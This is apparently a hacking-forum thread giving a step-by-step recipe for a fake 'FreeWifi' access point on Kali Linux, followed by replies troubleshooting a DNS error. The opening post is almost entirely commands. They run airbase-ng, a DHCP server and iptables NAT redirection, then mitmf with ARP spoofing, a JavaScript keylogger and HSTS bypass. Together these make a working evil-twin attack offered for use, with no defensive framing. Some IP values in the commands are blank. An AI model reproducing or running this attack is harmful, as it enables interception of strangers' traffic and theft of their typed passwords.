InfoSec Forums InfoSec Forums Wireless Penetration Testing Create fake AP for attacking on Kali Linux


This topic contains 3 replies, has 2 voices, and was last updated by do son grayhats 3 months, 1 week ago.

  • Author
  • #3014
    do son
    do son
    • Topics:202
    • Comments:51
    • Super Member
    • ★★★★


    1. Install isc-dhcp-server

    apt-get install isc-dhcp-server

    2. Set monitor mode

    airmon-ng check kill

    airmon-ng start wlan0

    airodump-ng wlan0mon

    3. Configure dhcpd.conf

    leafpad /etc/dhcp/dhcpd.conf


    default-lease-time 700;

    max-lease-time 8000;

    subnet netmask {

    option routers;

    option subnet-mask;

    option domain-name “FreeWifi”;

    option domain-name-servers 61.XXX.XXX.1,61.XXX.XXX.1,;



    4. Create fake AP using airbase-ng

    airbase-ng -e FreeWifi -c 6 wlan0mon

    5. Configure at0 interface

    ifconfig at0 up

    ifconfig at0 netmask

    ifconfig at0 mtu 1400

    route add -net netmask gw

    iptables –flush

    iptables –table nat –flush

    iptables –delete-chain

    iptables –table nat –delete-chain

    echo 1 > /proc/sys/net/ipv4/ip_forward

    iptables -t nat -A PREROUTING -p udp -j DNAT –to 

    iptables -P FORWARD ACCEPT

    iptables –append FORWARD –in-interface at0 -j ACCEPT

    iptables –table nat –append POSTROUTING –out-interface eth0 -j MASQUERADE

    iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000

    6. Start DHCP Server

    dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/ at0

    /etc/init.d/isc-dhcp-server start

    7. Run mitmf

    mitmf -i at0 –spoof –arp –gateway –jskeylogger –hsts

    No system is truly secure!

  • #3033

    • Topics:
    • Comments:
    • Newbie

    Hello, thank you for this tutorial as well as for this forum which I think will please many people, I just try to implement what you explained in this tutorial, everything goes well, mitmf starts correctly but when I connects me to my new AP mitmf registered the following message: [DNS] Could not proxy request: [Errno 101] Network is unreachable

  • #3034

    • Topics:
    • Comments:
    • Newbie

    sorry, I disconnects internet ;-(

    • #3046
      do son
      • Topics:
      • Comments:
      • Newbie

      try to change dns port to 54 value on mitmf.conf file.

You must be logged in to reply to this topic.